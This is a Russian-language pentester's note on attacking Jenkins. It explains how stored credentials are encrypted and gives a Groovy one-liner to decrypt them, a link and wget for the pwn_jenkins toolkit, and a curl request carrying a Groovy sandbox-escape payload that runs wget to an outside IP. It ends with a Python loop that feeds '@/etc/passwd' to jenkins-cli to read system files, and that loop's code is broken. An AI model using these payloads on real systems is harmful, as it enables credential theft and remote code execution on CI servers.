О секретах Jenkins
Jenkins - CI/CD решение. А значит ему нужно где-то хранить креды для доступа к серверам, docker registry, nexus и так далее. В Jenkins есть встроенное хранилище Credentials. Фактически секреты сохраняются на файловой системе в файле .jenkins/credentials.xml (тут и далее .jekins - домашний каталог jenkins, может отличаться в зависимости от установки). Сами секреты зашифрованы. Но зашифрованы они ключами из двух файлов, которые тоже храняться на файловой системе: .jenkins/secrets/master.key и .jenkins/secrets/hudon.util.Secret. Таким образом доступ к этим файлам позволяет получить доступ ко всем сохраненным credentials всех пользователей.
Доступ к ФС может быть получен, например, если администраторы не уменьшили количество executor на master до значения 0, но для этого нужен доступ уровня разработчика в интерфейс Jenkins. Также на моей практике был и обратный случай, когда я попал на windows-сервер с правами пользователя и мог читать файлы Jenkins, один из паролей в сохраненных кредах подошел к интерфейсу Jenkins.
Для расшифрования секретов можно использовать скрипт.
https://github.com/gquere/pwn_jenkins
Также, при доступе в интерфейс можно использовать groovy скрипт:
println( hudson.util.Secret.decrypt("{AQAAABAAAAAQ}") )
где в кавычках идет зашифрованная строка из credentials.xml. Скрипт этот можно выполнить в https://jenkins/script либо в build job'е с типом pipeline.
Статья с разбором устройства
Credentials storage in Jenkins
wget <https://raw.githubusercontent.com/gquere/pwn_jenkins/master/dump_builds/jenkins_dump_builds.py>;
jenkins_dump_builds.py -u '' -p '' -o Jenkins
curl -k -4 -X POST "<https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/>" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
import subprocess
list=["add-job-to-view", "apply-folder-skip", "apply-skip", "approve-controlled-slaves-request", "build", "cancel-quiet-down", "check-alert-condition", "cjp-copy-item", "cjp-move-item", "cjp-promote-item", "clear-queue", "complete-controlled-slaves-request", "connect-node", "console", "copy-job", "create-controlled-slaves-request", "create-credentials-by-xml", "create-credentials-domain-by-xml", "create-group", "create-job", "create-node", "create-view", "declarative-linter", "delete-builds", "delete-controlled-slave", "delete-credentials", "delete-credentials-domain", "delete-group", "delete-job", "delete-node", "delete-token", "delete-view", "disable-job", "disconnect-node", "enable-job", "get-credentials-as-xml", "get-credentials-domain-as-xml", "get-job", "get-node", "get-view", "groovy", "groovysh", "group-membership", "group-role-assignments", "help", "install-plugin", "install-tool", "instantiate", "keep-build", "list-alert-conditions", "list-changes", "list-credentials", "list-credentials-context-resolvers", "list-credentials-providers", "list-groups", "list-jobs", "list-plugins", "login", "logout", "mail", "mute-alert-condition", "offline-node", "online-node", "quiet-down", "reload-configuration", "reload-job", "remove-folder-skip", "remove-job-from-view", "remove-skip", "replay-pipeline", "restart", "restart-checkpoint", "safe-restart", "safe-shutdown", "session-id", "set-build-description", "set-build-display-name", "set-build-parameter", "set-build-result", "set-external-build-result", "shutdown", "skip-group-off", "skip-group-on", "support", "unmute-alert-condition", "update-credentials-by-xml", "update-credentials-domain-by-xml", "update-job", "update-node", "update-view", "version", "wait-node-offline", "wait-node-online", "who-am-i"]
for command in list:
subprocess.run(['java', '-jar', './jenkins-cli.jar', '-s', '<http://jenkins:8888/>', '-webSocket', h, '@/etc/passwd'])